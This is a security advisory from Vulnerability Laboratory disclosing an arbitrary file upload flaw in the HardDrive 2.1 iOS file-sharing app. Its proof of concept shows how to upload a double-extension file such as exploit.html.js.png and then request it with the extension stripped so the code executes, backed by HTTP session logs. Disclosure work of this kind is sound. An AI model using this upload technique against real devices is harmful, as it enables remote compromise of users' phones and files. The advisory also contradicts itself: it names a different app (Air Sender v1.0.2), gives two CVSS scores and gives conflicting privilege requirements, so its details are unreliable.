HardDrive 2.1 for iOS - Arbitrary File Upload

# Title: HardDrive 2.1 for iOS - Arbitrary File Upload
# Author: Vulnerability Laboratory
# Date: 2020-04-30
# Software: https://apps.apple.com/ch/app/harddrive/id383226784
# CVE: N/A

Document Title:
===============
HardDrive v2.1 iOS - Arbitrary File Upload Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2221


Common Vulnerability Scoring System:
====================================
7.4


Product & Service Introduction:
===============================
Store+Organize+Edit+Protect+Import+Download+View+Share your files right
from your iPhone! Transform your
iPhone/iPod touch into a real HardDrive with no extra cable or software.

(Copy of the Homepage: https://apps.apple.com/ch/app/harddrive/id383226784 )


Affected Product(s):
====================
Sebastien BUET
HardDrive v2.1 - Apple iOS Mobile Web Application


Vulnerability Disclosure Timeline:
==================================
2020-04-29: Public Disclosure (Vulnerability Laboratory)


Technical Details & Description:
================================
An arbitrary file upload web vulnerability has been discovered in the
official Air Sender v1.0.2 iOS mobile application.
The web vulnerability allows remote attackers to upload arbitrary files
to compromise for example the file system of a service.

The arbitrary upload vulnerability is located in the within the
web-server configuration when using the upload module.
Remote attackers are able to bypass the local web-server configuration
by an upload of malicious webshells. Attackers
are able to inject own files with malicious `filen` values in the
`upload` POST method request to compromise the
mobile web-application. The application does not perform checks for
multiple file extensions. Thus allows an attacker
to upload for example to upload a html.js.png file. After the upload the
attacker requests the original url source
with the uploaded file and removes the unwanted extension to execute the
code in the unprotected web-frontend.

The security risk of the vulnerability is estimated as high with a
common vulnerability scoring system count of 7.0.
Exploitation of the web vulnerability requires a low privilege ftp
application user account and no user interaction.
Successful exploitation of the arbitrary file upload web vulnerability
results in application or device compromise.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] ./upload

Vulnerable File(s):
[+] file


Proof of Concept (PoC):
=======================
The arbitrary file upload web vulnerability can be exploited by remote
attackers without user interaction or privileged user accounts.
For security demonstration or to reproduce the web vulnerability follow
the provided information and steps below to continue.


PoC: Vulnerable Source (File Dir Listing Index)
<tr><td width="100px" valign="middle" align="left"><img
src="exploit.html"></td><td width="300px" valign="middle" align="left">
<a href="exploit.html.js">exploit.html.js</a></td> <td width="454px"
valign="middle" align="left">
<em valign="middle" align="center">size: 256.7 Kb


PoC: Exploitation
http://localhost:50071/exploit.html.js


--- PoC Session Logs [POST] --- (file)
http://localhost:50071/
Host: localhost:50071
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;
boundary=---------------------------9331569428946906291010349387
Content-Length: 263181
Origin: http://localhost:50071
Connection: keep-alive
Referer: http://localhost:50071/
file=exploit.html.js.png&button=Submit
POST: HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Length: 381654
-
http://localhost:50071/exploit.html.js
Host: localhost:50071
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept: image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
-
http://localhost:50071/exploit.html
GET: HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Length: 366735


Credits & Authors:
==================
Vulnerability-Lab -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri -
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


-- 
VULNERABILITY LABORATORY - RESEARCH TEAM